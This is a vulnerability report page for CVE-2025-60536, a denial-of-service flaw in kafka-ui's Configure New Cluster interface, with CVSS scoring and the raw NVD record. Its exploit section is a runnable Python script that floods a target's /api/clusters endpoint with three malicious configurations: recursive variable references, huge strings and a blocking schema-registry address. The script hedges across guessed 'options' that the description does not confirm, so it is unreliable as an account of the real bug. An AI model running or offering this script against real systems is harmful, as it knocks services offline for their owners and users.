Security Vulnerability Report
中文
CVE-2025-60536 CVSS 7.5 HIGH

CVE-2025-60536

Published: 2025-10-14 18:15:37
Last Modified: 2026-04-15 00:35:42

Description

An issue in the Configure New Cluster interface of kafka-ui v0.6.0 to v0.7.2 allows attackers to cause a Denial of Service (DoS) via uploading a crafted configuration file.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

kafka-ui >= v0.6.0
kafka-ui <= v0.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60536 - kafka-ui DoS via Crafted Configuration File # Exploit: Upload a malicious cluster configuration to trigger DoS import requests import json TARGET_URL = "http://target-kafka-ui-host:8080" CLUSTER_CONFIG_ENDPOINT = f"{TARGET_URL}/api/clusters" # Malicious configuration designed to trigger DoS # Option 1: Resource exhaustion via deeply nested references malicious_config_resource_exhaustion = { "name": "evil-cluster", "bootstrapServers": "${${${${${${${${${${A}}}}}}}}}", # Nested variable expansion causing stack overflow "properties": { "schema.registry.url": "http://" + "A" * 100000, # Extremely long URL causing memory issues } } # Option 2: Invalid Schema Registry config causing thread blocking malicious_config_schema_blocking = { "name": "evil-cluster-2", "bootstrapServers": "localhost:9092", "schemaRegistry": "http://10.255.255.1:8081", # Non-routable IP causing connection timeout/blocking "properties": { "schema.registry.url": "http://10.255.255.1:8081", "basic.auth.user.info": "user:" + "password" * 10000 } } # Option 3: Circular reference causing infinite loop malicious_config_circular = { "name": "evil-cluster-3", "bootstrapServers": "${bootstrapServers}", # Self-referencing variable "properties": { "key1": "${key2}", "key2": "${key1}", # Circular reference "key3": "${key3}" # Self-referencing } } def exploit_dos(config_payload): """ Send malicious configuration to kafka-ui to trigger DoS """ headers = { "Content-Type": "application/json", "Accept": "application/json" } try: response = requests.post( CLUSTER_CONFIG_ENDPOINT, headers=headers, data=json.dumps(config_payload), timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") return response except requests.exceptions.Timeout: print("Request timed out - server may be unresponsive (DoS successful)") except requests.exceptions.ConnectionError: print("Connection error - server may be down (DoS successful)") except Exception as e: print(f"Error: {e}") # Execute exploit if __name__ == "__main__": print("[*] Attempting DoS via crafted configuration upload...") exploit_dos(malicious_config_resource_exhaustion) print("[*] Attempting DoS via Schema Registry blocking...") exploit_dos(malicious_config_schema_blocking) print("[*] Attempting DoS via circular reference...") exploit_dos(malicious_config_circular) print("[*] Done. Check target service availability.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60536", "sourceIdentifier": "[email protected]", "published": "2025-10-14T18:15:36.700", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the Configure New Cluster interface of kafka-ui v0.6.0 to v0.7.2 allows attackers to cause a Denial of Service (DoS) via uploading a crafted configuration file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://github.com/provectus/kafka-ui", "source": "[email protected]"}, {"url": "https://github.com/provectus/kafka-ui/blob/v0.7.2/kafka-ui-api/src/main/java/com/provectus/kafka/ui/serdes/builtin/sr/SchemaRegistrySerde.java", "source": "[email protected]"}, {"url": "https://github.com/vityuasd/VulList/blob/main/CVE-2025-60536.md", "source": "[email protected]"}]}}